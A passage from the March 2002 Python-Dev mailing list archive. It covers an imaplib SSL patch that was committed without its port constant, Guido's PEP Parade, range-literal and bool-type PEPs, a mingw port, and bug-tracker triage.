reports) show that we're falling further behind month by month.  The
"Feature Requests" tracker may as well be a trash can.

OTOH, we could make a lot of progress very quickly by agreeing to drop
Python support for all save the OS + compiler Guido happens to use <wink>.

so-long-hpux-and-win9x-ly y'rs  - tim



From tim@zope.com  Fri Mar  8 07:26:51 2002
From: tim@zope.com (Tim Peters)
Date: Fri, 8 Mar 2002 02:26:51 -0500
Subject: [Python-Dev] FW: PEP Parade
Message-ID: <LNBBLJKPBEHFEDALKOLCEEHNOCAA.tim@zope.com>


-----Original Message-----
From: Tim Peters [mailto:tim@zope.com]
Sent: Friday, March 08, 2002 1:05 AM
To: python-announce@python.org; Python list
Subject: PEP Parade


Quoting Guido's new "Parade of the PEPs" essay at

    http://www.python.org/doc/essays/pepparade.html

"""
To start off Developer's Day at the Python10 conference I gave a keynote
ending in what I dubbed "the parade of the PEPs". It was a brief overview of
all open PEPs, where I gave my highly personal and subjective opinion for
each PEP.  Later, I realized that this might have been of interest to other
developers.  I didn't take notes at the conference, so below is a different
set of comments that I created from scratch during a single two-hour sitting
on March 7, 2002.
"""

Since Guido's "highly personal and subjective opinions" are nevertheless
destined to circumscribe every waking moment of your Python life, everyone
interested in Python development should give it a good read.

It's also linked to from the PEP Index page at SourceForge:

    http://python.sf.net/peps/

Note that Guido wants to keep 2.3 free of new core language features.  You
can deduce that from reading the essay, or-- like me --you can just believe
it because it's true <wink>.  There's a huge backlog of good ideas for
improving the internals and libraries, and I wouldn't be surprised to see
the focus remain there for 2.4 too.



From tim.one@comcast.net  Fri Mar  8 07:38:08 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 08 Mar 2002 02:38:08 -0500
Subject: [Python-Dev] New test failure:  test_imaplib.py
Message-ID: <LNBBLJKPBEHFEDALKOLCAEHOOCAA.tim.one@comcast.net>

You don't really have to run the test, just try to import imaplib:

C:\Code\python\PCbuild>python
Python 2.3a0 (#29, Mar  2 2002, 03:12:05) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import imaplib
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "C:\CODE\PYTHON\lib\imaplib.py", line 986, in ?
    class IMAP4_SSL(IMAP4):
  File "C:\CODE\PYTHON\lib\imaplib.py", line 1001, in IMAP4_SSL
    def __init__(self, host = '', port = IMAP4_SSL_PORT, keyfile = None,
certfil
e = None):
NameError: name 'IMAP4_SSL_PORT' is not defined
>>>

Indeed IMAP4_SSL_PORT is not defined, and I don't see how this could be
unique to Windows.  Aren't people on Linux seeing this too?



From Tino.Lange@isg.de  Fri Mar  8 08:12:26 2002
From: Tino.Lange@isg.de (Tino Lange)
Date: Fri, 08 Mar 2002 09:12:26 +0100
Subject: [Python-Dev] New test failure:  test_imaplib.py
References: <LNBBLJKPBEHFEDALKOLCAEHOOCAA.tim.one@comcast.net>
Message-ID: <3C88726A.38D462BB@isg.de>

This is a cryptographically signed message in MIME format.

--------------msB943C623BE2B0E4E3135F8D9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi!

Indeed, IMAP4_SSL_PORT is missing in the checked in version.
But it was in my patch, that I've submitted yesterday?!
Maybe Piers did the patch just by hand, not by "patch"?

It's mainly the missing IMAP4_SSL_PORT and one "," too much in the
docstring of IMAP4_SSL_PORT.
Increasing of version numer is OK, of course - this I forgot :-)

Best regards

Tino

-----------------
-----------------

These are the differences between my patch and the CVS version at the
moment:

tino@tinux:~/> diff -c imaplib_tl.py imaplib_cvs.py
*** imaplib_tl.py       Fri Mar  8 09:04:54 2002
--- imaplib_cvs.py      Fri Mar  8 09:03:50 2002
***************
*** 15,23 ****
  # Authentication code contributed by Donn Cave <donn@u.washington.edu>
June 1998.
  # String method conversion by ESR, February 2001.
  # GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au>
April 2001.
! # IMAP4_SSL contributed by Tino Lange <tino.lange@isg.de> March 2002

! __version__ = "2.50"

  import binascii, re, socket, time, random, sys

--- 15,23 ----
  # Authentication code contributed by Donn Cave <donn@u.washington.edu>
June 1998.
  # String method conversion by ESR, February 2001.
  # GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au>
April 2001.
! # IMAP4_SSL contributed by Tino Lange <Tino.Lange@isg.de> March 2002.

! __version__ = "2.51"

  import binascii, re, socket, time, random, sys

***************
*** 29,35 ****
  CRLF = '\r\n'
  Debug = 0
  IMAP4_PORT = 143
- IMAP4_SSL_PORT = 993
  AllowedVersions = ('IMAP4REV1', 'IMAP4')        # Most recent first

  #       Commands
--- 29,34 ----
***************
*** 983,993 ****
                  n -= 1


  class IMAP4_SSL(IMAP4):

      """IMAP4 client class over SSL connection

!     Instantiate with: IMAP4_SSL([host[, port[, keyfile[, certfile]]]])

              host - host's name (default: localhost);
              port - port number (default: standard IMAP4 SSL port).
--- 982,993 ----
                  n -= 1


+
  class IMAP4_SSL(IMAP4):

      """IMAP4 client class over SSL connection

!     Instantiate with: IMAP4_SSL([, host[, port[, keyfile[,
certfile]]]])

              host - host's name (default: localhost);
              port - port number (default: standard IMAP4 SSL port).
***************
*** 1052,1057 ****
--- 1052,1058 ----
          ssl = <instance>.socket.ssl()
          """
          return self.sslobj
+


  class _Authenticator:
tino@tinux:~/ >
--------------msB943C623BE2B0E4E3135F8D9
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIGeQYJKoZIhvcNAQcCoIIGajCCBmYCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BCEwggQdMIIDhqADAgECAgIC0DANBgkqhkiG9w0BAQQFADCBvjELMAkGA1UEBhMCREUxDzAN
BgNVBAgTBkhlc3NlbjEaMBgGA1UEBxMRRnJhbmtmdXJ0IGFtIE1haW4xITAfBgNVBAoTGElu
bm92YXRpdmUgU29mdHdhcmUgR21iSDEfMB0GA1UECxMWTmV0d29yayBBZG1pbmlzdHJhdGlv
bjEiMCAGA1UEAxMZSVNHIENlcnRpZmljYXRlIEF1dGhvcml0eTEaMBgGCSqGSIb3DQEJARYL
aW5mb0Bpc2cuZGUwHhcNMDEwNzAyMTQwODQyWhcNMDYxMjIzMTQwODQyWjCBmjELMAkGA1UE
BhMCREUxEjAQBgNVBAgTCUZyYW5rZnVydDESMBAGA1UEBxMJRnJhbmtmdXJ0MRwwGgYDVQQK
ExNJbm5vdmF0aXZlIFNvZnR3YXJlMQ4wDAYDVQQLEwVJUy1ERTETMBEGA1UEAxMKVGlubyBM
YW5nZTEgMB4GCSqGSIb3DQEJARYRdGluby5sYW5nZUBpc2cuZGUwgZ8wDQYJKoZIhvcNAQEB
BQADgY0AMIGJAoGBALvDjXu01p+UWa3VQRSw8XJeV9zVyQfIN3lBr3esKdB0TawZM2+Fm1sf
puDx5XjOnJ5TYIWTBFP4OnbG8T3tzmmcTD7m9N9Ks/NxTBYVwJeNN7lSCBiQ36VhFFNdMINM
zLjDwQQInFCdj3VqyswXP/rxvQ331o4k9F2tXyhaEDoNAgMBAAGjggFKMIIBRjAJBgNVHRME
AjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdlbmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNV
HQ4EFgQUbgd332z6d1qrT9MECmHKFaO8wFUwgesGA1UdIwSB4zCB4IAUnLMIpiBUdLGe0Y2Q
oriseGaX0bqhgcSkgcEwgb4xCzAJBgNVBAYTAkRFMQ8wDQYDVQQIEwZIZXNzZW4xGjAYBgNV
BAcTEUZyYW5rZnVydCBhbSBNYWluMSEwHwYDVQQKExhJbm5vdmF0aXZlIFNvZnR3YXJlIEdt
YkgxHzAdBgNVBAsTFk5ldHdvcmsgQWRtaW5pc3RyYXRpb24xIjAgBgNVBAMTGUlTRyBDZXJ0
aWZpY2F0ZSBBdXRob3JpdHkxGjAYBgkqhkiG9w0BCQEWC2luZm9AaXNnLmRlggEAMA0GCSqG
SIb3DQEBBAUAA4GBAH7LGTV3LYJF7UmELcuJa4Sf1SRPpD3Swziqc7sLE1c3wPxtsyzxEW79
I4kPsEIvjii4naImEF5Uj/xSpFPEIy9ZihB8Fi4yc06QSrwhhYK0sND7bp15oB9XNDIvQGuX
0b0xj4icIrDPXOlfhRrODvVtPxMYwt65CLq/umTqYh98MYICIDCCAhwCAQEwgcUwgb4xCzAJ
BgNVBAYTAkRFMQ8wDQYDVQQIEwZIZXNzZW4xGjAYBgNVBAcTEUZyYW5rZnVydCBhbSBNYWlu
MSEwHwYDVQQKExhJbm5vdmF0aXZlIFNvZnR3YXJlIEdtYkgxHzAdBgNVBAsTFk5ldHdvcmsg
QWRtaW5pc3RyYXRpb24xIjAgBgNVBAMTGUlTRyBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkxGjAY
BgkqhkiG9w0BCQEWC2luZm9AaXNnLmRlAgIC0DAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJ
AzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTAyMDMwODA4MTIyOFowIwYJKoZIhvcN
AQkEMRYEFFx5xZsZvMWEOKoUH63jTdw03XHoMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcN
AwcwDgYIKoZIhvcNAwICAgCAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgFAMA0GCCqGSIb3DQMC
AgEoMA0GCSqGSIb3DQEBAQUABIGAJrRTNVKhJTswGJnNUSARM5Tssy7INSCm2TDCow1ItuJL
/ltY+/Eo4RTVyzDcUXPPBX8P8rI3WtMkxPO6PLmcE/ZTTa7eROXUpXfPPnNEv4wb5ty5uPhu
hd8bm8CALWx4i+LFNfejT2KTyc5H9RF02pr5UfkV0f2hTxTNUWQE4h4=
--------------msB943C623BE2B0E4E3135F8D9--



From martin@v.loewis.de  Fri Mar  8 08:21:38 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 08 Mar 2002 09:21:38 +0100
Subject: [Python-Dev] New test failure:  test_imaplib.py
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEHOOCAA.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAEHOOCAA.tim.one@comcast.net>
Message-ID: <m3r8mv4gh9.fsf@mira.informatik.hu-berlin.de>

Tim Peters <tim.one@comcast.net> writes:

> Indeed IMAP4_SSL_PORT is not defined, and I don't see how this could be
> unique to Windows.  Aren't people on Linux seeing this too?

I see that, too. Actually, I didn't, because I

a) did not update the tree for more than 12 hours, and
b) do not normally import imaplib.

I guess this is related to

revision 1.44
date: 2002/03/08 01:53:24;  author: pierslauder;  state: Exp;  lines: +74 -1
add SSL class submitted by Tino Lange

How this passed test_imaplib is a question that only Piers can answer
:-)

Regards,
Martin



From piers@cs.su.oz.au  Fri Mar  8 09:07:32 2002
From: piers@cs.su.oz.au (Piers Lauder)
Date: Fri, 08 Mar 2002 20:07:32 +1100
Subject: [Python-Dev] New test failure:  test_imaplib.py
References: <LNBBLJKPBEHFEDALKOLCAEHOOCAA.tim.one@comcast.net>
 <3C88726A.38D462BB@isg.de>
Message-ID: <1015578454.56.745039016@cs.usyd.edu.au>

On Fri, 08 Mar 2002 09:12:26 +0100, Tino Lange wrote:
  > 
  > Hi!
  > 
  > Indeed, IMAP4_SSL_PORT is missing in the checked in version.
  > But it was in my patch, that I've submitted yesterday?!
  > Maybe Piers did the patch just by hand, not by "patch"?
  > 
  > It's mainly the missing IMAP4_SSL_PORT and one "," too much in the
  > docstring of IMAP4_SSL_PORT.
  > Increasing of version numer is OK, of course - this I forgot :-)
  > 
  > Best regards
  > 
  > Tino

My mistake - I had already installed your original imaplib patch,
and only installed the libimaplib.tex patch from your new upload.

New version now fixed to match the diff below.

Incidentally, I can't get into https://sourceforge.net/account/login.php
but when i can, i'll update the tracker.

  > -----------------
  > -----------------
  > 
  > These are the differences between my patch and the CVS version at the
  > moment:
  > 
  > tino@tinux:~/> diff -c imaplib_tl.py imaplib_cvs.py
  > *** imaplib_tl.py       Fri Mar  8 09:04:54 2002
  > --- imaplib_cvs.py      Fri Mar  8 09:03:50 2002
  > ***************
  > *** 15,23 ****
  >   # Authentication code contributed by Donn Cave <donn@u.washington.edu>
  > June 1998.
  >   # String method conversion by ESR, February 2001.
  >   # GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au>
  > April 2001.
  > ! # IMAP4_SSL contributed by Tino Lange <tino.lange@isg.de> March 2002
  > 
  > ! __version__ = "2.50"
  > 
  >   import binascii, re, socket, time, random, sys
  > 
  > --- 15,23 ----
  >   # Authentication code contributed by Donn Cave <donn@u.washington.edu>
  > June 1998.
  >   # String method conversion by ESR, February 2001.
  >   # GET/SETACL contributed by Anthony Baxter <anthony@interlink.com.au>
  > April 2001.
  > ! # IMAP4_SSL contributed by Tino Lange <Tino.Lange@isg.de> March 2002.
  > 
  > ! __version__ = "2.51"
  > 
  >   import binascii, re, socket, time, random, sys
  > 
  > ***************
  > *** 29,35 ****
  >   CRLF = '\r\n'
  >   Debug = 0
  >   IMAP4_PORT = 143
  > - IMAP4_SSL_PORT = 993
  >   AllowedVersions = ('IMAP4REV1', 'IMAP4')        # Most recent first
  > 
  >   #       Commands
  > --- 29,34 ----
  > ***************
  > *** 983,993 ****
  >                   n -= 1
  > 
  > 
  >   class IMAP4_SSL(IMAP4):
  > 
  >       """IMAP4 client class over SSL connection
  > 
  > !     Instantiate with: IMAP4_SSL([host[, port[, keyfile[, certfile]]]])
  > 
  >               host - host's name (default: localhost);
  >               port - port number (default: standard IMAP4 SSL port).
  > --- 982,993 ----
  >                   n -= 1
  > 
  > 
  > +
  >   class IMAP4_SSL(IMAP4):
  > 
  >       """IMAP4 client class over SSL connection
  > 
  > !     Instantiate with: IMAP4_SSL([, host[, port[, keyfile[,
  > certfile]]]])
  > 
  >               host - host's name (default: localhost);
  >               port - port number (default: standard IMAP4 SSL port).
  > ***************
  > *** 1052,1057 ****
  > --- 1052,1058 ----
  >           ssl = <instance>.socket.ssl()
  >           """
  >           return self.sslobj
  > +
  > 
  > 
  >   class _Authenticator:
  > tino@tinux:~/ >







From ping@lfw.org  Fri Mar  8 09:21:07 2002
From: ping@lfw.org (Ka-Ping Yee)
Date: Fri, 8 Mar 2002 03:21:07 -0600 (CST)
Subject: [Python-Dev] PEP 204 (range literals)
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEHNOCAA.tim@zope.com>
Message-ID: <Pine.LNX.4.33.0203080309540.12876-100000@server1.lfw.org>

After reading the Parade of the PEPs, i looked at PEP 284, which
proposes yet another solution to for-loop iteration over integers.

This caused me to go back and look at all the other proposals for
this problem: PEP 204, PEP 212, PEP 276, and PEP 281.

For me, PEP 204 stands out as the nicest and most straightforward
solution.  My answers to the Open Issues in PEP 204 would be:

    Q. Should [x:y] produce a generator?

    A. Not in the general case.  However, when it appears as a
       literal in a "for" statement, the compiler is free to
       replace it with an xrange object or generator without
       any visible effect (except better performance).


    Q. Should it be possible to mix range syntax with list literals?
       For example, [5, 6, 1:6, 7] becomes [5, 6, 1, 2, 3, 4, 5, 7].

    A. No.


    Q. Should it be possible to concatenate ranges in list comprehensions?
       For example, [x:4 for x in (1, 2)] becomes [1, 2, 3, 2, 3].

    A. No.


    Q. Should range literals accept objects other than integers?
       For example, ['a':'e'] becomes ['a', 'b', 'c', 'd'].

    A. No.

PEP 204 mentions that it was rejected but doesn't provide much
explanation for its rejection; could this be elaborated upon?


-- ?!ng



From gerhard@bigfoot.de  Fri Mar  8 17:29:11 2002
From: gerhard@bigfoot.de (Gerhard =?ISO-8859-1?Q?H=E4ring?=)
Date: Fri, 08 Mar 2002 09:29:11 -0800
Subject: [Python-Dev] Modules/config.c on win32 (mingw port)
Message-ID: <3C88F4E7.50301@bigfoot.de>

Hello all,

I'm progressing with my mingw port. The current state is that I can 
build a Python DLL and EXE with only minimally babysitting the build 
process. This looks already pretty nice, doesn't it?

Python 2.3a0 (#47, Mar  8 2002, 08:49:19)
[GCC 2.95.3-6 (mingw special)] on mingw32_nt-5.11
Type "help", "copyright", "credits" or "license" for more information.
 >>>

:-)

The only "babysitting" needed is to add threadmodule.o, posixmodule.o 
and signalmodule.o to the MODULE_OBJS in the Makefile. Problem 1 is how 
to get rid of that? Anybody has an idea?

Problem two is that even if I add these to the MODULE_OBJS, 
Modules/config.c isn't appropriately created. I currently haven't got 
any idea how to achieve this. To be honest, the part of the build 
process (Modules/makesetup and friends) which statically links modules 
to the Python interpreter puzzles me as a whole.

It would be really nice if you could give me some tips.

Gerhard



From mwh@python.net  Fri Mar  8 09:42:48 2002
From: mwh@python.net (Michael Hudson)
Date: 08 Mar 2002 09:42:48 +0000
Subject: [Python-Dev] pydoc 1.58 - added repr_str
In-Reply-To: Skip Montanaro's message of "Thu, 7 Mar 2002 17:01:42 -0600"
References: <15495.61782.879804.889384@beluga.mojam.com>
Message-ID: <2mr8mvxunb.fsf@starship.python.net>

Skip Montanaro <skip@pobox.com> writes:

> I just checked in pydoc.py 1.58.  The change of type("").__name__
> from "string" to "str" between Python 2.1 and 2.2 busted the special
> method lookup in pydoc.HTMLRepr and pydoc.TextRepr.  This belongs in
> 2.2.1.

Noted.

> SF seems at least mildly busted at the moment.

Yes.

Cheers,
M.

-- 
48. The best book on programming for the layman is "Alice in
    Wonderland"; but that's because it's the best book on
    anything for the layman.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From gerhard@bigfoot.de  Fri Mar  8 17:32:20 2002
From: gerhard@bigfoot.de (Gerhard =?ISO-8859-1?Q?H=E4ring?=)
Date: Fri, 08 Mar 2002 09:32:20 -0800
Subject: [Python-Dev] Modules/config.c on win32 (mingw port)
Message-ID: <3C88F5A4.9080700@bigfoot.de>

Hello all,

I'm progressing with my mingw port. The current state is that I can 
build a Python DLL and EXE with only minimally babysitting the build 
process. This looks already pretty nice, doesn't it?

Python 2.3a0 (#47, Mar  8 2002, 08:49:19)
[GCC 2.95.3-6 (mingw special)] on mingw32_nt-5.11
Type "help", "copyright", "credits" or "license" for more information.
 >>>

:-)

The only "babysitting" needed is to add threadmodule.o, posixmodule.o 
and signalmodule.o to the MODULE_OBJS in the Makefile. Problem 1 is how 
to get rid of that? Anybody has an idea?

Problem two is that even if I add these to the MODULE_OBJS, 
Modules/config.c isn't appropriately created. I currently haven't got 
any idea how to achieve this. To be honest, the part of the build 
process (Modules/makesetup and friends) which statically links modules 
to the Python interpreter puzzles me as a whole.

It would be really nice if you could give me some tips.

Gerhard



From mwh@python.net  Fri Mar  8 10:04:34 2002
From: mwh@python.net (Michael Hudson)
Date: 08 Mar 2002 10:04:34 +0000
Subject: [Python-Dev] Moving bugs and patches through the pipeline more  quickly
In-Reply-To: Tim Peters's message of "Thu, 07 Mar 2002 21:13:34 -0500"
References: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>
Message-ID: <2mlmd3xtn1.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> [Jeremy Hylton]
> > When we were working on Python 2.0, PythonLabs made a
> > serious commitment to keep the list of bugs on one page.
> > Lots of people fixed bugs to achieve that goal, and more
> > processing power will definitely help.
> 
> Note that we had full-time jobs working on Python then too.  Well, not
> entirely:  at the end of the BeOpen run, all of PythonLabs was unemployed,
> so we got to spend 1200% of every day volunteering to finish 2.0.

I think there are more bugs being submitted now, too.  We should never
have told anyone about that tracker <wink>.

> > One other thing that helped was that I spent many hours each
> > week tracking bugs and making sure someone was working on
> > them.  I intend to pick that task up again for Python 2.3.
> > It would be great if there were more developers to lean on
> > for the bugs.
> 
> During the times I did that task, I spent about 30 hours per week on bug +
> patch triage alone.
> 
> It would be hard to overestimate how much concerted effort it would
> take to get back to "one page" again; the SF stats (I think only
> admins can view the reports)

Nope.  At least, I can see them.

> show that we're falling further behind month by month.  The
> "Feature Requests" tracker may as well be a trash can.

It's probably better that PEP 42.  That should probably be sliced up
and moved back into the tracker.

> OTOH, we could make a lot of progress very quickly by agreeing to
> drop Python support for all save the OS + compiler Guido happens to
> use <wink>.

Certainly.  Life would be easier if we didn't have to worry about bugs
like:

[ 459464 ] Math_test overflowerror on sparc64 linux

(to pick a random example).  I don't think keeping open bugs <50 is a
realistic goal unless there's at least one person working full time on
keeping things that way, and that doesn't seem likely.  OTOH, a
certain amount of progress is being made as the result of the current
guilt trip -- let's see how long that lasts <wink>.

Cheers,
M.

-- 
  This is an off-the-top-of-the-head-and-not-quite-sober suggestion,
  so is probably technically laughable.  I'll see how embarassed I
  feel tomorrow morning.            -- Patrick Gosling, ucam.comp.misc


From skip@pobox.com  Fri Mar  8 13:15:45 2002
From: skip@pobox.com (Skip Montanaro)
Date: Fri, 8 Mar 2002 07:15:45 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more  quickly
In-Reply-To: <2mlmd3xtn1.fsf@starship.python.net>
References: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>
 <2mlmd3xtn1.fsf@starship.python.net>
Message-ID: <15496.47489.139827.778887@12-248-41-177.client.attbi.com>

I wrote a little script last night that scrapes all the open bugs from SF,
compares them with those in a local MySQL database and reports on those that
have been opened or closed since the last time the script was run.  Output
looks like

    New Bugs
    --------

    httplib: multiple Set-Cookie headers
                http://python.net/crew/mwh/py/bug/432621

    __cdecl / __stdcall unspecified in *.h
                http://python.net/crew/mwh/py/bug/471432

    xml.AttributesImpl: __setitem__ undef.
                http://python.net/crew/mwh/py/bug/495672

    telnetlib in debug mode
                http://python.net/crew/mwh/py/bug/508100

    unicode() docs don't mention LookupError
                http://python.net/crew/mwh/py/bug/513666

The Closed Bugs section is formatted in a similar fashion but nothing's been
closed since I ran it for the last time last night.  Note that I'm using
Michael's bug redirector because its URLs are shorter.

I plan to also add the same capability for patches.  I realize this probably
overlaps badly with Jeremy's scraper, but are there people who are
interested in seeing summaries like this?  If so, are there enough people
interested in this that I should send it to an existing list like
python-checkins, or should I create a separate list?

Skip


From jepler@unpythonic.dhs.org  Fri Mar  8 13:23:38 2002
From: jepler@unpythonic.dhs.org (jepler@unpythonic.dhs.org)
Date: Fri, 8 Mar 2002 07:23:38 -0600
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>
References: <web-3684728@digicool.com> <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net>
Message-ID: <20020308072335.A1007@unpythonic.dhs.org>

On Thu, Mar 07, 2002 at 09:13:34PM -0500, Tim Peters wrote:
> OTOH, we could make a lot of progress very quickly by agreeing to drop
> Python support for all save the OS + compiler Guido happens to use <wink>.
> 
> so-long-hpux-and-win9x-ly y'rs  - tim

I'll write the PEP!

Jeff


From guido@python.org  Fri Mar  8 14:56:58 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 09:56:58 -0500
Subject: [Python-Dev] Moving bugs and patches through the pipeline more quickly
In-Reply-To: Your message of "Fri, 08 Mar 2002 07:15:45 CST."
 <15496.47489.139827.778887@12-248-41-177.client.attbi.com>
References: <LNBBLJKPBEHFEDALKOLCAEGMOCAA.tim.one@comcast.net> <2mlmd3xtn1.fsf@starship.python.net>
 <15496.47489.139827.778887@12-248-41-177.client.attbi.com>
Message-ID: <200203081456.g28Euwa03828@pcp742651pcs.reston01.va.comcast.net>

> I plan to also add the same capability for patches.  I realize this probably
> overlaps badly with Jeremy's scraper, but are there people who are
> interested in seeing summaries like this?  If so, are there enough people
> interested in this that I should send it to an existing list like
> python-checkins, or should I create a separate list?

Great, Skip!  If you do this once a week, posting to python-dev would
be appropriate.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From gward@python.net  Fri Mar  8 15:30:10 2002
From: gward@python.net (Greg Ward)
Date: Fri, 8 Mar 2002 10:30:10 -0500
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
In-Reply-To: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
References: <006e01c1c53b$f95f4fc0$52f7a4d8@othello>
Message-ID: <20020308153010.GA1276@gerg.ca>

On 06 March 2002, Raymond Hettinger said:
> Before I send generator comprehension portion to Guido for
> pronouncement, I would like to get all of your votes +1 or -1 on just
> the part about Generator Comprehensions.

Well, since the proposal is four orthogonal ideas, may I vote multiple
times?  Here goes...

  -1 on new x{map,filter,...} builtins -- feels like too much at once
  +0 on a new module to provide x{map,filter,...}
  +0.5 on indexed() as a builtin
  +1 on generator comprehensions; I favour the brackets
  -0 on generater parameter passing, -1 on the particular syntax chosen
  -0 on generater exception passing, -1 on using "throw"

(My last two votes are mostly because I haven't used generators very
much and don't really understand either the problem or the proposed
solution.  So yes, I am ignorant.  But I can spot ugly syntax/spelling
when I see it.)

        Greg
-- 
Greg Ward - programmer-at-large                         gward@python.net
http://starship.python.net/~gward/
Vote anarchist.


From gward@python.net  Fri Mar  8 15:41:33 2002
From: gward@python.net (Greg Ward)
Date: Fri, 8 Mar 2002 10:41:33 -0500
Subject: [Python-Dev] Please review PEP 278 - Universal newline support
In-Reply-To: <200203062226.g26MQF017954@pcp742651pcs.reston01.va.comcast.net>
References: <79B7FB61-2D29-11D6-8825-0030655234CE@oratrix.com> <200203062226.g26MQF017954@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020308154133.GB1276@gerg.ca>

[Jack]
> PEP 278 has been quietly sitting there with nothing much happening, 
> after some initial discussion with two or three people.
> 
> First question: would people please review it, and preferrably also
> test it (esp. windows and linux are platforms on which I would like
> to see it tested).

+1 on handling any type of newline in Python source.  Does this mean
fixing the crock where the lexer can handle foreign newlines in files,
but not in strings.  (Haven't looked at your code, and it probably
wouldn't help; I spent many hours staring at the lexer a year or two ago
and I never understood what was going on with newlines until Guido
explained it at IPC10.  Sigh.)

+1 on optionally exposing the ability to handle any type of newline
in an input file.

-1 on this being a configure-time option -- language features should
not be selectable when the interpreter is built, or portability
goes out the window!

-1 on using a file mode character that conflicts with existing
conventions (eg. if "t" really is already used on Windows, find
something else).

I guess that averages out to a nice big round 0 on the PEP overall.
Don't be discouraged, it sounds like you're on the right track to me!

This'll be one for the press release: "New in Python 2.3!  Python can
now handle newlines *and* timezones!!"  ;->

        Greg
-- 
Greg Ward - just another Python hacker                  gward@python.net
http://starship.python.net/~gward/
Pointers are Arrays; Code is Data; Time is Money


From guido@python.org  Fri Mar  8 15:43:09 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 08 Mar 2002 10:43:09 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
Message-ID: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>

I'll let this short and sweet PEP speak for itself.

http://python.sourceforge.net/peps/pep-0285.html

PEP: 285
Title: Adding a bool type
Version: $Revision: 1.1 $
Last-Modified: $Date: 2002/03/08 15:38:37 $
Author: guido@python.org (Guido van Rossum)
Status: Draft
Type: Standards Track
Created: 8-Mar-2002
Python-Version: 2.3
Post-History: 8-Mar-2002 (python-dev)


Abstract

    This PEP proposes the introduction of a new built-in type, bool,
    with two constants, False and True.  The bool type would be a
    straightforward subtype (in C) of the int type, and the values
    False and True would behave like 0 and 1 in most respects (e.g.
    False==0 and True==1 would be true) except repr() and str().  All
    built-in operations that conceptually return a Boolean result will
    be changed to return False or True instead of 0 or 1; for example,
    comparisons and the "not" operator.


Rationale

    Most languages eventually grow a Boolean type; even C99 has one.
    It's useful to be able to tell from a function result that the
    outcome has Boolean semantics.


Specification

    The following Python code specifies most of the properties of the
    new type:

        class bool(int):

            def __new__(cls, val=0, _create=0):
                if _create:
                    # This is nor part of the spec,
                    # just a hack to bootstrap False and True
                    return int.__new__(cls, not not val)
                elif val:
                    return True
                else:
                    return False

            def __repr__(self):
                if self:
                    return "True"
                else:
                    return "False"

            __str__ = __repr__

            def __and__(self, other):
                if isinstance(other, bool):
                    return bool(int(self) & int(other))
                else:
                    return NotImplemented

            __rand__ = __and__

            def __or__(self, other):
                if isinstance(other, bool):
                    return bool(int(self) | int(other))
                else:
                    return NotImplemented

            __ror__ = __or__

            def __xor__(self, other):
                if isinstance(other, bool):
                    return bool(int(self) ^ int(other))
                else:
                    return NotImplemented

            __rxor__ = __xor__


        False = bool(0, _create=1)
        True = bool(1, _create=1)


Issues

    Because the repr() or str() of a bool value is different from an
    int value, some code (e.g. doctest-based unit tests) may fail.
    How much of a backwards compatibility problem this will be, I
    don't know.  If we find this is a real problem, we could add a
    command-line option to make False and True aliases for 0 and 1 and
    bool an alias for int.

                                   
Copyright

    This document has been placed in the public domain.



Local Variables:
mode: indented-text
indent-tabs-mode: nil
fill-column: 70
End:

--Guido van Rossum (home page: http://www.python.org/~guido/)


From David Abrahams" <david.abrahams@rcn.com  Fri Mar  8 15:55:09 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Fri, 8 Mar 2002 10:55:09 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203081543.g28Fh9804171@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <06bc01c1c6ba$3b6ab470$0500a8c0@boostconsulting.com>

Do you propose to change the type of "x == y" et. al. from int --> bool?
Sounds good to me.
In general, I can change my doctests to use assert rather than looking
for 1 or 0.

-Dave

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>
To: <python-dev@python.org>
Sent: Friday, March 08, 2002 10:43 AM
Subject: [Python-Dev] For review: PEP 285: Adding a bool type





From mal@lemburg.com  Fri Mar  8 15:55:39 2002
From: mal@lemburg.com (M.-A. Lemburg)
Date: Fri, 08 Mar 2002 16:55:39 +0100
Subject: [Python-Dev] Please Vote -- Generator Comprehensions
